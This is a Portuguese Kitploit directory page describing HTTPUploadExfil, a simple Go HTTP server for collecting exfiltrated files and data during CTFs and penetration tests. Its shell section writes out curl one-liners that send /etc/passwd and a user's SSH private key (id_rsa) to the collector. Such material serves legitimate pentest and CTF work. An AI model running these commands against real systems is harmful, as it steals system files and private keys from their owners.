Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HTTPUploadExfil — Um servidor HTTP simples para entregar e exfiltrar arquivos/dados durante, por exemplo, CTFs. | Kitploit
Ferramentas/GitHubGitHub/ingokl/httpuploadexfil
Exfiltração de DadosSegurança WebCTFTestes de Penetração
GitHubingokl/httpuploadexfil

HTTPUploadExfil

Um servidor HTTP simples para entregar e exfiltrar arquivos/dados durante, por exemplo, CTFs.

Ver Repositório
8218há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

HTTPUploadExfil

Logotipo do HTTPUploadExfil

MIT License GitHub stars

HTTPUploadExfil é um servidor HTTP (muito) simples escrito em Go que é útil para obter arquivos (e outras informações) de uma máquina usando HTTP. Embora existam muitos casos de uso, ele foi projetado para ser usado em cenários ofensivos de baixo risco (por exemplo, CTFs).

Pense nisto como python3 -m http.server, mas para extrair dados de uma máquina em vez de colocar dados na máquina.

Obviamente, esta é uma forma muito barulhenta e um tanto restrita de exfiltrar dados. No entanto, é bastante prática e um pouco mais fácil do que, por exemplo, usar SMB ou FTP. Se você está procurando algo mais elegante, dê uma olhada, por exemplo, em dnsteal ou PyExfil.

TL;DR

  1. Compile a ferramenta usando go build.
  2. Execute ./httpuploadexfil :1337 /home/kali/loot na sua máquina.
  3. Acesse http://YOUR_IP:1337/ na máquina da qual você precisa extrair dados.
  4. Encontre seus arquivos enviados em /home/kali/loot.

Se precisar de HTTPs, veja as informações abaixo.

Você também pode baixar binários para Linux e Windows do GitHub. No entanto, esses binários não representam necessariamente as alterações mais recentes.

Compilação e Desenvolvimento

Embora existam binários disponíveis, é absolutamente recomendável compilar isto por conta própria. Dessa forma, você terá a versão mais recente e saberá exatamente o que está executando. O processo é trivial:

Simplesmente execute go build dentro da pasta e você obterá um executável httpuploadexfil para sua plataforma.

Se você fizer alterações na ferramenta, lembre-se de formatar usando go fmt main.go.

Alternativamente, você também pode usar make para compilar a ferramenta. Você também pode executar make cert para gerar certificados SSL (veja abaixo).

Uso

O caso de uso mais comum seria executar o servidor na Máquina A. Agora, na Máquina B você acessa o formulário de upload usando um navegador e seleciona um arquivo para exfiltrar. Claro, como você pode ver abaixo, isso também pode ser feito usando, por exemplo, curl.

Além de enviar arquivos, você também pode usar HTTPUploadExfil para exfiltrar dados usando requisições GET simples. Se uma requisição for enviada para o endpoint \g, toda a requisição será armazenada em disco.

Portanto, você pode exfiltrar dados usando o cabeçalho da requisição. É mais fácil usar parâmetros GET (por exemplo, ?data=...), mas existem outras opções.

HTTPUploadExfil

Por padrão, HTTPUploadExfil será servido na porta 8080. Todos os arquivos serão gravados no diretório atual.

./httpuploadexfil

Você também pode fornecer alguns argumentos:

./httpuploadexfil :1337 /home/kali/loot

Se precisar de registro de requisições, passe a flag -log assim:

./httpuploadexfil -log

O primeiro argumento é um endereço de escuta (bind), o segundo é a pasta para armazenar os arquivos.

A ferramenta também expõe os arquivos no diretório loot sob o endpoint /l. Isso pode ser usado como uma maneira fácil de transferir arquivos para o alvo.

Endpoints

O servidor web expõe quatro endpoints para você usar:

  1. / (GET) é o formulário de upload.
  2. /p (POST) recebe os dados do formulário de upload. Requer uma requisição multipart/form-data com o campo file preenchido.
  3. /g (GET) aceitará qualquer requisição GET e armazenará a requisição completa no servidor.
  4. /l (GET) fornecerá acesso aos arquivos na pasta especificada (Listagem de Diretório). Isso é para fornecer funcionalidade básica de python3 -m http.server.

Modo HTTPs

HTTPUploadExfil também pode ser usado no modo HTTPs. Para isso, basta colocar os arquivos HTTPUploadExfil.csr e HTTPUploadExfil.key ao lado do binário. Eles podem ser gerados, por exemplo, da seguinte forma:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

Para isso, você também pode executar make cert.

Se o servidor encontrar um arquivo HTTPUploadExfil.csr, ele tentará iniciar no modo HTTPs. Para voltar ao HTTP, basta remover ou renomear os arquivos de certificado.

Shell

Usando Bash, podemos exfiltrar dados via GET usando, por exemplo:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Claro, também podemos usar curl para exfiltrar arquivos:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

A Fazer

  • Implementar uma versão HTTPs (Criptografia de Transporte)
  • Adicionar opção de download (ou seja, fornecer funcionalidade de python3 -m http.server)
  • Adicionar funcionalidade de registro de requisições
  • Sistema de compilação (especialmente compilação cruzada para Windows e Linux)
Baixar ferramenta